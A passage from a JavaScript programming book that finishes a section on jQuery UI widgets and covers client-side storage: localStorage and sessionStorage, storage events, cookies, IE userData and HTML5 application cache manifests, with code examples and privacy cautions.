field so that it pops up a date picker widget when clicked or focused, simply call the `datepicker()` method with code like this:

```
// Make <input> elements with class="date" into date picker widgets
$("input.date").datepicker();
```

In order to make full use of a jQuery UI widget, you must be familiar with three things: its configuration options, its methods, and its events. All jQuery UI widgets are configurable, and some have many configuration options. You can customize the behavior and appearance of your widgets by passing an options object (like the animations options object passed to `animate()`) to the widget method.

jQuery UI widgets usually define at least a handful of "methods" for interacting with the widget. In order to avoid a proliferation of jQuery methods, however, jQuery UI widgets do not define their "methods" as true methods. Each widget has only a single method (like the `datepicker()` method in the example above). When you want to call a "method" of the widget, you pass the name of the desired "method" to the single true method defined by the widget. To disable a date picker widget, for example, you don't call a `disableDatepicker()` method; instead, you call `datepicker("disable")`.

jQuery UI widgets generally define custom events that they trigger in response to user interaction. You can bind event handlers for these custom events with the normal `bind()` method, and you can also usually specify event handler functions as properties in the options object you pass to the widget method. The first argument to these handler methods is an Event object as usual. Some widgets pass a second "UI" object as the second argument to the event handler. This object typically provides state information about the widget.

Note that the jQuery UI documentation sometimes describes "events" that are not truly custom events and could better be described as callback functions set through the configuration options object. The date picker widget, for example, supports a number of callback functions that it can call at various times. None of these functions have the standard event handler signature, however, and you cannot register handlers for these "events" with `bind()`. Instead, you specify appropriate callbacks when you configure the widget in your initial call to the `datepicker()` method.

CHAPTER 20
Client-Side Storage

Web applications can use browser APIs to store data locally on the user's computer. This client-side storage serves to give the web browser a memory. Web apps can store user preferences, for example, or even store their complete state, so that they can resume exactly where you left off at the end of your last visit. Client-side storage is segregated by origin, so pages from one site can't read the data stored by pages from another site. But two pages from the same site can share storage and can use it as a communication mechanism. Data input in a form on one page can be displayed in a table on another page, for example. Web applications can choose the lifetime of the data they store: data can be stored temporarily so that it is retained only until the window closes or the browser exits, or it can be saved to the hard drive and stored permanently, so that it is available months or years later.

There are a number of forms of client-side storage:

Web Storage
: Web Storage is an API that was originally defined as part of HTML5 but was spun off as a standalone specification. That specification is still in draft form, but it is partially (and interoperably) implemented in all current browsers including IE8. This API consists of the `localStorage` and `sessionStorage` objects, which are essentially persistent associative arrays that map string keys to string values. Web Storage is very easy to use, is suitable for storing large (but not huge) amounts of data, and is available on all current browsers, but it is not supported by older browsers. `localStorage` and `sessionStorage` are covered in §20.1.

Cookies
: Cookies are an old client-side storage mechanism that was designed for use by server-side scripts. An awkward JavaScript API makes cookies scriptable on the client-side, but they are hard to use and are suitable only for storing small amounts of textual data. Also, any data stored as cookies is always transmitted to the server with every HTTP request, even if the data is only of interest to the client. Cookies continue to be of interest to client-side programmers because all browsers, old and new, support them. Once Web Storage is universally available, however, cookies

will revert to their original role as a client-side storage mechanism for server-side scripts. Cookies are covered in §20.2.

IE User Data
: Microsoft implements its own proprietary client-side storage mechanism, known as "userData," in IE5 and later. userData enables the storage of medium amounts of string data and can be used as an alternative to Web Storage in versions of IE before IE8. The userData API is covered in §20.3.

Offline Web Applications
: HTML5 defines an "Offline Web Applications" API that allows the caching of web pages and their associated resources (scripts, CSS files, images, and so on). This is client-side storage for web applications themselves rather than just their data, and it allows web apps to install themselves so that they are available even when there is no connection to the Internet. Offline web apps are covered in §20.4.

Web Databases
: Developers who need to work with really huge amounts of data like to use databases, and the most recent browsers have started to integrate client-side database functionality into their browsers. Safari, Chrome, and Opera include a client-side API to a SQL database. The standardization effort for that API has failed, however, and it is unlikely to be implemented by Firefox or IE. An alternative database API is being standardized under the name "Indexed Database API." This is an API to a simple object database without a query language. Both of the client-side database APIs are asynchronous and require the use of event handlers, which makes them somewhat complicated. They are not documented in this chapter, but see §22.8 for an overview and an example of the IndexedDB API.

`Filesystem API`
: We saw in Chapter 18 that modern browsers support a File object that allows user-selected files to be uploaded through an XMLHttpRequest. Related draft standards define an API for obtaining a private local filesystem and for reading and writing files from and to that filesystem. These emerging APIs are described in §22.7. When they are more widely implemented, web applications will be able to use the kind of file-based storage mechanisms that are already familiar to many programmers.

Storage, Security, and Privacy

Web browsers often offer to remember web passwords for you, and they store them safely in encrypted form on the disk. But none of the forms of client-side data storage described in this chapter involve encryption: anything you save resides on the user's hard disk in unencrypted form. Stored data is therefore accessible to curious users who share access to the computer and to malicious software (such as spyware) that exists on the computer. For this reason, no form of client-side storage should ever be used for passwords, financial account numbers, or other similarly sensitive information. Remember: just because a user types something into a form field when interacting with your website doesn't mean that he wants a copy of that value stored on disk. Consider a credit card number as an example. This is sensitive information that people keep

hidden in their wallets. If you save this information using client-side persistence, it is almost as if you wrote the credit card number on a sticky note and stuck it to the user's keyboard.

Also, bear in mind that many web users mistrust websites that use cookies or other client-side storage mechanisms to do anything that resembles "tracking." Try to use the storage mechanisms discussed in this chapter to enhance a user's experience at your site; don't use them as a privacy-invading data collection mechanism. If too many sites abuse client-side storage, users will disable it or clear it frequently, which will defeat the purpose and cripple the sites that depend on it.

20.1 localStorage and sessionStorage

Browsers that implement the "Web Storage" draft specification define two properties on the Window object: `localStorage` and `sessionStorage`. Both properties refer to a Storage object—a persistent associative array that maps string keys to string values. Storage objects work much like regular JavaScript objects: simply set a property of the object to a string, and the browser will store that string for you. The difference between `localStorage` and `sessionStorage` has to do with *lifetime* and *scope*: how long the data is saved for and who the data is accessible to.

Storage lifetime and scope are explained in more detail below. First, however, let's look at some examples. The following code uses `localStorage`, but it would also work with `sessionStorage`:

```
var name = localStorage.username;         // Query a stored value.
name = localStorage["username"];          // Array notation equivalent
if (!name) {
    name = prompt("What is your name?");  // Ask the user a question.
    localStorage.username = name;         // Store the user's response.
}

// Iterate through all stored name/value pairs
for(var name in localStorage) {           // Iterate all stored names
    var value = localStorage[name];       // Look up the value of each one
}
```

Storage objects also define methods for storing, retrieving, iterating, and deleting data. Those methods are covered in §20.1.2.

The Web Storage draft specification says that we should be able to store structured data (objects and arrays) as well as primitive values and built-in types such as dates, regular expressions, and even File objects. At the time of this writing, however, browsers only allow the storage of strings. If you want to store and retrieve other kinds of data, you'll have to encode and decode it yourself. For example:

```
// If you store a number, it is automatically converted to a string.
// Don't forget to parse it when retrieving it from storage.
localStorage.x = 10;
var x = parseInt(localStorage.x);
```

```
// Convert a Date to a string when setting, and parse it when getting
localStorage.lastRead = (new Date()).toUTCString();
var lastRead = new Date(Date.parse(localStorage.lastRead));

// JSON makes a convenient encoding for any primitive or data structure
localStorage.data = JSON.stringify(data);  // Encode and store
var data = JSON.parse(localStorage.data);  // Retrieve and decode.
```

20.1.1 Storage Lifetime and Scope

The difference between `localStorage` and `sessionStorage` involves the lifetime and scope of the storage. Data stored through `localStorage` is permanent: it does not expire and remains stored on the user's computer until a web app deletes it or the user asks the browser (through some browser-specific UI) to delete it.

`localStorage` is scoped to the document origin. As explained in §13.6.2, the origin of a document is defined by its protocol, hostname, and port, so each of the following URLs has a different origin:

```
http://www.example.com        // Protocol: http; hostname: www.example.com
https://www.example.com       // Different protocol
http://static.example.com     // Different hostname
http://www.example.com:8000   // Different port
```

All documents with the same origin share the same `localStorage` data (regardless of the origin of the scripts that actually access `localStorage`). They can read each other's data. And they can overwrite each other's data. But documents with different origins can never read or overwrite each other's data (even if they're both running a script from the same third-party server).

Note that `localStorage` is also scoped by browser vendor. If you visit a site using Firefox, and then visit again using Chrome (for example), any data stored during the first visit will not be accessible during the second visit.

Data stored through `sessionStorage` has a different lifetime than data stored through `localStorage`: it has the same lifetime as the top-level window or browser tab in which the script that stored it is running. When the window or tab is permanently closed, any data stored through `sessionStorage` is deleted. (Note, however, that modern browsers have the ability to reopen recently closed tabs and restore the last browsing session, so the lifetime of these tabs and their associated `sessionStorage` may be longer than it seems.)

Like `localStorage`, `sessionStorage` is scoped to the document origin so that documents with different origins will never share `sessionStorage`. But `sessionStorage` is also scoped on a per-window basis. If a user has two browser tabs displaying documents from the same origin, those two tabs have separate `sessionStorage` data: the scripts running in one tab cannot read or overwrite the data written by scripts in the other tab, even if both tabs are visiting exactly the same page and are running exactly the same scripts.

Download from Wow! eBook <www.wowebook.com>

Note that this window-based scoping of `sessionStorage` is only for top-level windows. If one browser tab contains two `<iframe>` elements, and those frames hold two documents with the same origin, those two framed documents will share `sessionStorage`.

20.1.2 Storage API

`localStorage` and `sessionStorage` are often used as if they were regular JavaScript objects: set a property to store a string and query the property to retrieve it. But these objects also define a more formal method-based API. To store a value, pass the name and value to `setItem()`. To retrieve a value, pass the name to `getItem()`. To delete a value, pass the name to `removeItem()`. (In most browsers you can also use the `delete` operator to remove a value, just as you would for an ordinary object, but this technique does not work in IE8.) To delete all stored values, call `clear()` (with no arguments). Finally, to enumerate the names of all stored values, use the `length` property and pass numbers from 0 to `length`-1 to the `key()` method. Here are some examples using `localStorage`. The same code would work using `sessionStorage` instead:

```
localStorage.setItem("x", 1);        // Store an number with the name "x"
localStorage.getItem("x");           // Retrieve a value

// Enumerate all stored name/value pairs
for(var i = 0; i < localStorage.length; i++) {  // Length gives the # of pairs
    var name = localStorage.key(i);             // Get the name of pair i
    var value = localStorage.getItem(name);     // Get the value of that pair
}

localStorage.removeItem("x");        // Delete the item "x"
localStorage.clear();                // Delete any other items, too
```

Although it is usually more convenient to store and retrieve values by setting and querying properties, there are some times when you might want to use these methods. First, the `clear()` method has no equivalent and is the only way to delete all name/value pairs in a Storage object. Similarly, the `removeItem()` method is the only portable way to delete a single name/value pair, since IE8 does not allow the `delete` operator to be used in that way.

If browser vendors fully implement the specification and allow objects and arrays to be stored in a Storage object, there will be another reason to use methods like `setItem()` and `getItem()`. Objects and array values are normally mutable, so a Storage object is required to make a copy when you store a value, so that any subsequent changes to the original value have no effect on the stored value. The Storage object is also required to make a copy when you retrieve a value so that any changes you make to the retrieved value have no effect on the stored value. When this kind of copying is being done, using the property-based API can be confusing. Consider this (hypothetical, until browsers support structured values) code:

```
localStorage.o = {x:1};   // Store an object that has a property x
localStorage.o.x = 2;     // Attempt to set the property of the stored object
localStorage.o.x          // => 1: x is unchanged
```

The second line of code above wants to set a property of the stored object, but instead it retrieves a copy of the stored object, sets a property in that copied object, and then discards the copy. The stored object remains unchanged. There would be less chance of confusion if we used `getItem()` here:

```
localStorage.getItem("o").x = 2; // We don't expect this to store the value 2
```

Finally, another reason to use the explicit method-based Storage API is that we can emulate that API on top of other storage mechanisms in browsers that do not yet support the Web Storage specification. The sections that follow will implement the Storage API using cookies and IE userData. If you use the method-based API, you can write code that makes use of `localStorage` when available and falls back on one of the other storage mechanisms in other browsers. Your code might start like this:

```
// Figure out what memory I'm using
var memory = window.localStorage ||
             (window.UserDataStorage && new UserDataStorage()) ||
             new CookieStorage();
// Then search my memory
var username = memory.getItem("username");
```

20.1.3 Storage Events

Whenever the data stored in `localStorage` or `sessionStorage` changes, the browser triggers a storage event on any other Window objects to which that data is visible (but not on the window that made the change). If a browser has two tabs open to pages with the same origin, and one of those pages stores a value in `localStorage`, the other tab will receive a storage event. Remember that `sessionStorage` is scoped to the top-level window, so storage events are only triggered for `sessionStorage` changes when there are frames involved. Also note that storage events are only triggered when storage actually changes. Setting an existing stored item to its current value does not trigger an event, nor does removing an item that does not exist in storage.

Register a handler for storage events with `addEventListener()` (or `attachEvent()` in IE). In most browsers, you can also set the `onstorage` property of the Window object, but at the time of this writing, Firefox does not support that property.

The event object associated with a storage event has five important properties (they are not supported by IE8, unfortunately):

`key`
: The name or key of the item that was set or removed. If the `clear()` method was called, this property will be `null`.

`newValue`
: Holds the new value of the item, or `null` if `removeItem()` was called.

`oldValue`
: Holds the old value of an existing item that changed or was deleted, or `null` if a new item was inserted.

`storageArea`
: This property will equal either the `localStorage` or the `sessionStorage` property of the target Window object.

`url`
: The URL (as a string) of the document whose script made this storage change.

Finally, note that `localStorage` and the storage event can serve as a broadcast mechanism by which a browser sends a message to all windows that are currently visiting the same website. If a user requests that a website stop performing animations, for example, the site might store that preference in `localStorage` so that it can honor it in future visits. And by storing the preference, it generates an event that allows other windows displaying the same site to honor the request as well. As another example, imagine a web-based image editing application that allows the user to display tool palettes in separate windows. When the user selects a tool, the application uses `localStorage` to save the current state and to generate a notification to other windows that a new tool has been selected.

20.2 Cookies

A *cookie* is a small amount of named data stored by the web browser and associated with a particular web page or website. Cookies were originally designed for server-side programming, and at the lowest level, they are implemented as an extension to the HTTP protocol. Cookie data is automatically transmitted between the web browser and web server, so server-side scripts can read and write cookie values that are stored on the client. This section demonstrates how client-side scripts can also manipulate cookies using the `cookie` property of the Document object.

Why "Cookie?"

The name "cookie" does not have a lot of significance, but it is not used without precedent. In the annals of computing history, the term "cookie" or "magic cookie" has been used to refer to a small chunk of data, particularly a chunk of privileged or secret data, akin to a password, that proves identity or permits access. In JavaScript, cookies are used to save state and can establish a kind of identity for a web browser. Cookies in JavaScript do not use any kind of cryptography, however, and are not secure in any way (although transmitting them across an `https:` connection helps).

The API for manipulating cookies is a very old one, which means that it is universally supported. Unfortunately, the API is also quite cryptic. There are no methods involved: cookies are queried, set, and deleted by reading and writing the `cookie` property of the Document object using specially formatted strings. The lifetime and scope of each cookie can be individually specified with cookie attributes. These attributes are also specified with specially formatted strings set on the same `cookie` property.

The subsections that follow explain the cookie attributes that specify lifetime and scope, and then demonstrate how to set and query cookie values in JavaScript. The section concludes with an example that implements the Storage API on top of cookies.

Determining Whether Cookies Are Enabled

Cookies have gotten a bad reputation for many web users because of the unscrupulous use of third-party cookies—cookies associated with the images on a web page rather than the web page itself. Third-party cookies enable an ad-hosting company to track a user from one client site to another client site, for example, and the privacy implications of this practice cause some users to disable cookies in their web browsers. Before using cookies in your JavaScript code, you may want to first check that they are enabled. In most browsers, you can do this by checking the `navigator.cookieEnabled` property. If `true`, cookies are enabled, and if `false`, cookies are disabled (although nonpersistent cookies that last for only the current browsing session may still be enabled). This is not a standard property, and if you find that it is undefined in the browser your code is running in, you must test for cookie support by trying to write, read, and delete a test cookie using the techniques explained below.

20.2.1 Cookie Attributes: Lifetime and Scope

In addition to a name and a value, each cookie has optional attributes that control its lifetime and scope. Cookies are transient by default; the values they store last for the duration of the web browser session but are lost when the user exits the browser. Note that this is a subtly different lifetime than `sessionStorage`: cookies are not scoped to a single window, and their default lifetime is the same as the entire browser process, not the lifetime of any one window. If you want a cookie to last beyond a single browsing session, you must tell the browser how long (in seconds) you would like it to retain the cookie by specifying a *max-age* attribute. If you specify a lifetime, the browser will store cookies in a file and delete them only once they expire.

Cookie visibility is scoped by document origin as `localStorage` and `sessionStorage` are, and also by document path. This scope is configurable through cookie attributes *path* and *domain*. By default, a cookie is associated with, and accessible to, the web page that created it and any other web pages in the same directory or any subdirectories of that directory. If the web page *http://www.example.com/catalog/index.html* creates a cookie, for example, that cookie is also visible to *http://www.example.com/catalog/order.html* and *http://www.example.com/catalog/widgets/index.html*, but it is not visible to *http://www.example.com/about.html*.

This default visibility behavior is often exactly what you want. Sometimes, though, you'll want to use cookie values throughout a website, regardless of which page creates the cookie. For instance, if the user enters his mailing address in a form on one page, you may want to save that address to use as the default the next time he returns to the page and also as the default in an entirely unrelated form on another page where he is asked to enter a billing address. To allow this usage, you specify a *path* for the cookie.

Then, any web page from the same web server whose URL begins with the path prefix you specified can share the cookie. For example, if a cookie set by *http://www.example.com/catalog/widgets/index.html* has its path set to "/catalog", that cookie is also visible to *http://www.example.com/catalog/order.html*. Or, if the path is set to "/", the cookie is visible to any page on the *http://www.example.com* web server.

Setting the *path* of a cookie to "/" gives scoping like that of `localStorage` and also specifies that the browser must transmit the cookie name and value to the server whenever it requests any web page on the site. Note that cookie *path* attribute should not be treated as any kind of access-control mechanism. If a web page wants to read the cookies from some other page of the same website, it can simply load that other page into a hidden `<iframe>` and read the cookies from the framed document. The same-origin policy (§13.6.2) prevents this kind of cookie-snooping from happening across sites, but it is perfectly legal for documents from the same site.

By default, cookies are scoped by document origin. Large websites may want cookies to be shared across subdomains, however. For example, the server at *order.example.com* may need to read cookie values set from *catalog.example.com*. This is where the *domain* attribute comes in. If a cookie created by a page on *catalog.example.com* sets its *path* attribute to "/" and its *domain* attribute to ".example.com", that cookie is available to all web pages on *catalog.example.com*, *orders.example.com*, and any other server in the *example.com* domain. If the *domain* attribute is not set for a cookie, the default is the hostname of the web server that serves the page. Note that you cannot set the domain of a cookie to a domain other than the domain of your server.

The final cookie attribute is a boolean attribute named *secure* that specifies how cookie values are transmitted over the network. By default, cookies are insecure, which means that they are transmitted over a normal, insecure HTTP connection. If a cookie is marked secure, however, it is transmitted only when the browser and server are connected via HTTPS or another secure protocol.

20.2.2 Storing Cookies

To associate a transient cookie value with the current document, simply set the `cookie` property to a string of the form:

```
name=value
```

For example:

```
document.cookie = "version=" + encodeURIComponent(document.lastModified);
```

The next time you read the `cookie` property, the name/value pair you stored is included in the list of cookies for the document. Cookie values cannot include semicolons, commas, or whitespace. For this reason, you may want to use the core JavaScript global function `encodeURIComponent()` to encode the value before storing it in the cookie. If you do this, you'll have to use the corresponding `decodeURIComponent()` function when you read the cookie value.

A cookie written with a simple name/value pair lasts for the current web-browsing session but is lost when the user exits the browser. To create a cookie that can last across browser sessions, specify its lifetime (in seconds) with a `max-age` attribute. You can do this by setting the `cookie` property to a string of the form:

```
name=value; max-age=seconds
```

The following function sets a cookie with an optional `max-age` attribute:

```
// Store the name/value pair as a cookie, encoding the value with
// encodeURIComponent() in order to escape semicolons, commas, and spaces.
// If daysToLive is a number, set the max-age attribute so that the cookie
// expires after the specified number of days. Pass 0 to delete a cookie.
function setCookie(name, value, daysToLive) {
    var cookie = name + "=" + encodeURIComponent(value);
    if (typeof daysToLive === "number")
        cookie += "; max-age=" + (daysToLive*60*60*24);
    document.cookie = cookie;
}
```

Similarly, you can set the `path`, `domain`, and `secure` attributes of a cookie by appending strings of the following format to the cookie value before that value is written to the `cookie` property:

```
; path=path
; domain=domain
; secure
```

To change the value of a cookie, set its value again using the same name, path, and domain along with the new value. You can change the lifetime of a cookie when you change its value by specifying a new `max-age` attribute.

To delete a cookie, set it again using the same name, path, and domain, specifying an arbitrary (or empty) value, and a `max-age` attribute of 0.

20.2.3 Reading Cookies

When you use the `cookie` property in a JavaScript expression, the value it returns is a string that contains all the cookies that apply to the current document. The string is a list of *`name = value`* pairs separated from each other by a semicolon and a space. The cookie *`value`* does not include any of the attributes that may have been set for the cookie. In order to make use of the `document.cookie` property, you must typically call the `split()` method to break it into individual name=value pairs.

Once you have extracted the value of a cookie from the `cookie` property, you must interpret that value based on whatever format or encoding was used by the cookie's creator. You might, for example, pass the cookie value to `decodeURIComponent()` and then to `JSON.parse()`.

Example 20-1 defines a `getCookie()` function that parses the `document.cookie` property and returns an object whose properties specify the name and values of the document's cookies.

Example 20-1. Parsing the document.cookies property

```
// Return the document's cookies as an object of name/value pairs.
// Assume that cookie values are encoded with encodeURIComponent().
function getCookies() {
    var cookies = {};           // The object we will return
    var all = document.cookie;  // Get all cookies in one big string
    if (all === "")             // If the property is the empty string
        return cookies;         // return an empty object
    var list = all.split("; "); // Split into individual name=value pairs
    for(var i = 0; i < list.length; i++) {  // For each cookie
        var cookie = list[i];
        var p = cookie.indexOf("=");        // Find the first = sign
        var name = cookie.substring(0,p);   // Get cookie name
        var value = cookie.substring(p+1);  // Get cookie value
        value = decodeURIComponent(value);  // Decode the value
        cookies[name] = value;              // Store name and value in object
    }
    return cookies;
}
```

20.2.4 Cookie Limitations

Cookies are intended for storage of small amounts of data by server-side scripts, and that data is transferred to the server each time a relevant URL is requested. The standard that defines cookies encourages browser manufacturers to allow unlimited numbers of cookies of unrestricted size but does not require browsers to retain more than 300 cookies total, 20 cookies per web server, or 4 KB of data per cookie (both name and value count toward this 4 KB limit). In practice, browsers allow many more than 300 cookies total, but the 4 KB size limit may still be enforced by some.

20.2.5 Storage with Cookies

Example 20-2 demonstrates how to implement the methods of the Storage API on top of cookies. Pass the desired *max-age* and *path* attributes to the `CookieStorage()` constructor, and then use the resulting object as you would use `localStorage` or `sessionStorage`. Note, though, that the example does not implement the storage event and it does not automatically store and retrieve values when you set and query properties of the CookieStorage object.

Example 20-2. Implementing the Storage API using cookies

```
/*
 * CookieStorage.js
 * This class implements the Storage API that localStorage and sessionStorage
 * do, but implements it on top of HTTP Cookies.
 */
function CookieStorage(maxage, path) {  // Arguments specify lifetime and scope

    // Get an object that holds all cookies
    var cookies = (function() { // The getCookies() function shown earlier
        var cookies = {};           // The object we will return
        var all = document.cookie;  // Get all cookies in one big string
```

```
    if (all === "")             // If the property is the empty string
        return cookies;         // return an empty object
    var list = all.split("; "); // Split into individual name=value pairs
    for(var i = 0; i < list.length; i++) {  // For each cookie
        var cookie = list[i];
        var p = cookie.indexOf("=");        // Find the first = sign
        var name = cookie.substring(0,p);   // Get cookie name
        var value = cookie.substring(p+1);  // Get cookie value
        value = decodeURIComponent(value);  // Decode the value
        cookies[name] = value;              // Store name and value
    }
    return cookies;
}());

// Collect the cookie names in an array
var keys = [];
for(var key in cookies) keys.push(key);

// Now define the public properties and methods of the Storage API

// The number of stored cookies
this.length = keys.length;

// Return the name of the nth cookie, or null if n is out of range
this.key = function(n) {
    if (n < 0 || n >= keys.length) return null;
    return keys[n];
};

// Return the value of the named cookie, or null.
this.getItem = function(name) { return cookies[name] || null; };

// Store a value
this.setItem = function(key, value) {
    if (!(key in cookies)) { // If no existing cookie with this name
        keys.push(key);      // Add key to the array of keys
        this.length++;       // And increment the length
    }

    // Store this name/value pair in the set of cookies.
    cookies[key] = value;

    // Now actually set the cookie.
    // First encode value and create a name=encoded-value string
    var cookie = key + "=" + encodeURIComponent(value);

    // Add cookie attributes to that string
    if (maxage) cookie += "; max-age=" + maxage;
    if (path) cookie += "; path=" + path;

    // Set the cookie through the magic document.cookie property
    document.cookie = cookie;
};

// Remove the specified cookie
this.removeItem = function(key) {
```

```
        if (!(key in cookies)) return;  // If it doesn't exist, do nothing

        // Delete the cookie from our internal set of cookies
        delete cookies[key];

        // And remove the key from the array of names, too.
        // This would be easier with the ES5 array indexOf() method.
        for(var i = 0; i < keys.length; i++) {  // Loop through all keys
            if (keys[i] === key) {              // When we find the one we want
                keys.splice(i,1);               // Remove it from the array.
                break;
            }
        }
        this.length--;                          // Decrement cookie length

        // Finally actually delete the cookie by giving it an empty value
        // and an immediate expiration date.
        document.cookie = key + "=; max-age=0";
    };

    // Remove all cookies
    this.clear = function() {
        // Loop through the keys, removing the cookies
        for(var i = 0; i < keys.length; i++)
            document.cookie = keys[i] + "=; max-age=0";
        // Reset our internal state
        cookies = {};
        keys = [];
        this.length = 0;
    };
}
```

20.3 IE userData Persistence

IE5 and later enable client-side storage by attaching a proprietary "DHTML behavior" to a document element. You can do that with code like this:

```
var memory = document.createElement("div");         // Create an element
memory.id = "_memory";                              // Give it a name
memory.style.display = "none";                      // Never display it
memory.style.behavior = "url('#default#userData')"; // Attach a magic behavior
document.body.appendChild(memory);                  // Add it to the document
```

Once you add the "userData" behavior to an element, that element gets new `load()` and `save()` methods. Call `load()` to load stored data. You must pass a string to this method—it is like a file name, identifying a particular batch of stored data. When data is loaded, the name/value pairs become available as attributes of the element, and you can query them with `getAttribute()`. To save new data, set attributes with `setAttribute()` and then call the `save()` method. To delete a value, use `removeAttribute()` and `save()`. Here is an example, using the `memory` element initialized above:

```
memory.load("myStoredData");                // Load a named batch of saved data
var name = memory.getAttribute("username"); // Get one piece of stored data
if (!name) {                                // If it wasn't defined
```

```
        name = prompt("What is your name?");     // Get user input
        memory.setAtttribute("username", name); // Set it as an attribute
        memory.save("myStoredData");            // And save it for next time
    }
```

By default, data saved with userData has an indefinite lifetime and lasts until you delete it. But you can specify an expiration date by setting the `expires` property. For example, you might add the following lines to the previous code to specify an expiration date 100 days in the future:

```
var now = (new Date()).getTime();              // Now, in milliseconds
var expires = now + 100 * 24 * 60 * 60 * 1000; // 100 days from now in ms
expires = new Date(expires).toUTCString();     // Convert it to a string
memory.expires = expires;                      // Set userData expiration
```

IE userData is scoped to documents in the same directory as the document that set it. This is a narrower scope than cookies, which also make cookies available to documents in subdirectories of the original directory. The userData mechanism does not have any equivalent of the cookie *path* and *domain* attributes to widen the scope of the data.

userData allows much more data to be stored than cookies do, but much less than `localStorage` and `sessionStorage` do.

Example 20-3 implements the `getItem()`, `setItem()`, and `removeItem()` methods of the Storage API on top of IE's userData. (It does not implement `key()` or `clear()`, because userData does not define a way to iterate through all stored items.)

Example 20-3. A partial Storage API based on IE's userData

```
function UserDataStorage(maxage)  {
    // Create a document element and install the special userData
    // behavior on it so it gets save() and load() methods.
    var memory = document.createElement("div");         // Create an element
    memory.style.display = "none";                      // Never display it
    memory.style.behavior = "url('#default#userData')"; // Attach magic behavior
    document.body.appendChild(memory);                  // Add to the document

    // If maxage is specified, expire the userData in maxage seconds
    if (maxage) {
        var now = new Date().getTime();     // The current time
        var expires = now + maxage * 1000;  // maxage seconds from now
        memory.expires = new Date(expires).toUTCString();
    }

    // Initialize memory by loading saved values.
    // The argument is arbitrary, but must also be passed to save()
    memory.load("UserDataStorage");                     // Load any stored data

    this.getItem = function(key) {     // Retrieve saved values from attributes
        return memory.getAttribute(key) || null;
    };
    this.setItem = function(key, value) {
        memory.setAttribute(key,value); // Store values as attributes
        memory.save("UserDataStorage"); // Save state after any change
    };
```

```
    this.removeItem = function(key) {
        memory.removeAttribute(key);    // Remove stored value attribute
        memory.save("UserDataStorage"); // Save new state
    };
}
```

Because the code in Example 20-3 can only work in IE, you might use IE conditional comments to prevent browsers other than IE from loading it:

```
<!--[if IE]>
<script src="UserDataStorage.js"></script>
<![endif]-->
```


20.4 Application Storage and Offline Webapps

HTML5 adds an "application cache" that web applications can use to store themselves locally in a user's browser. `localStorage` and `sessionStorage` store data for a web application, but the application cache stores the application itself—all the files (HTML, CSS, JavaScript, images, and so on) the application needs to run. The application cache is different from a web browser's regular cache: it isn't cleared when the user clears the regular cache. And cached applications aren't cleared out on a LRU (least-recently used) basis as they might be in an ordinary fixed-size cache. Applications aren't temporarily stored in the cache: they're installed there, and they remain there until they uninstall themselves or the user deletes them. The application cache is really not a cache at all: a better name would be "application storage."

The reason to allow web applications to be locally installed is to guarantee their availability when offline (such as when on an airplane or when a cellphone isn't receiving a signal). Web applications that work while offline install themselves in the application cache, use localStorage to store their data, and have a synchronization mechanism to transfer stored data to the server when they go back online. We'll see an example offline webapp in §20.4.3. First, however, we'll see how an application can install itself in the application cache.

20.4.1 The Application Cache Manifest

In order to install an application in the application cache, you must create a *manifest*: a file that lists all of the URLs the application requires. Then, simply link the main HTML page of your application to the manifest by setting the `manifest` attribute of the `<html>` tag:

```
<!DOCTYPE HTML>
<html manifest="myapp.appcache">
<head>...</head>
<body>...</body>
</html>
```

Manifest files must begin with the string "CACHE MANIFEST" as their first line. The lines that follow should list URLs to be cached, one URL per line. Relative URLs are

relative to the URL of the manifest file. Blank lines are ignored. Lines that begin with # are comments and are ignored. Comments may have space before them, but they cannot follow any nonspace characters on the same line. Here is a simple manifest file:

```
CACHE MANIFEST
# The line above identifies the file type. This line is a comment

# The lines below specify the resources the application needs to run
myapp.html
myapp.js
myapp.css
images/background.png
```

Cache Manifest MIME Type

By convention, application cache manifest files are given the filename extension *.appcache*. This is a convention only, however, and to actually identify the file type, the web server *must* serve a manifest with MIME type "text/cache-manifest". If the server sets the manifest's Content-Type header to any other MIME type, your application will not be cached. You may have to configure your web server to use this MIME type by, for example, creating an Apache *.htaccess* file in the web app directory.

It is the manifest file that serves as the identity of the cached application. If a web app has more than one web page (more than one HTML file that the user can link to), each one of these pages should use the `<html manifest=>` attribute to link to the manifest file. The fact that these pages all link to the same manifest file makes it clear that they are all to be cached together as part of the same web app. If there are only a few HTML pages in the application, it is conventional to list those pages explicitly in the manifest file. But this is not required: any file that links to the manifest file will be considered part of the web app and will be cached along with it.

A simple manifest like the one shown above must list *all* of the resources required by the web application. Once a web app has been downloaded the first time and cached, any subsequent loads will be from the cache. When an application is loaded from the cache, any resources it requires must be listed in the manifest. Resources that are not listed will not be loaded. This policy simulates being offline. If a simple cached application can run from the cache, it will also be able to run while the browser is offline. More complicated web apps cannot, in general, cache every single resource they require. They can still use the application cache if they have a more complex manifest.

20.4.1.1 Complex manifests

When an application is loaded from the application cache, only resources listed in its manifest file will be loaded. The example manifest file shown previously lists resources one URL at a time. Manifest files actually have a more complicated syntax than that example shows, and there are two other ways to list resources in a manifest file. Special section header lines are used to identify the type of manifest entry that follows the

header. Simple cache entries like those shown above go in a "CACHE:" section, which is the default section. The other two sections begin with the headers "NETWORK:" and "FALLBACK:". (A manifest can have any number of sections and can switch back and forth between sections as needed.)

The "NETWORK:" section specifies URLs that must never be cached and should always be retrieved from the network. You might list server-side scripts here, for example. The URLs in a "NETWORK:" section are actually URL prefixes. A resource whose URL begins with any one of these prefixes will be loaded from the network. If the browser is offline, that attempt will fail, of course. The "NETWORK:" section allows a wildcard URL "*". If you use this wildcard, the browser will attempt to load any resource not mentioned in the manifest from the network. This effectively defeats the rule that says that cached applications must list all their resources in the manifest.

The manifest entries in the "FALLBACK:" section include two URLs on each line. The second URL is loaded and is stored in the cache. The first URL is a prefix. URLs matching this prefix will not be cached, but they will be loaded from the network when possible. If the attempt to load such a URL fails, the cached resource specified by the second URL will be used instead. Imagine a web application that includes a number of video tutorials. Because these videos are very large, they are not appropriate to cache locally. For offline use, a manifest file could fall back on a text-based help file instead.

Here is a more complicated cache manifest:

```
CACHE MANIFEST

CACHE:
myapp.html
myapp.css
myapp.js

FALLBACK:
videos/ offline_help.html

NETWORK:
cgi/
```

20.4.2 Cache Updates

When you load a web application that has been cached, all of its files come directly from the cache. If the browser is online, it will also asynchronously check to see if the manifest file has changed. If it has changed, the new manifest file, and all the files it references, are downloaded and reinstalled in the application cache. Note that the browser does not check to see whether any of the cached files have changed: only the manifest. If you modify a cached JavaScript file, for example, and want sites that have cached your web app to update their cache, you must update the manifest. Since the list of files required by your app has not changed, the easiest way to do this is by updating a version number:

```
CACHE MANIFEST
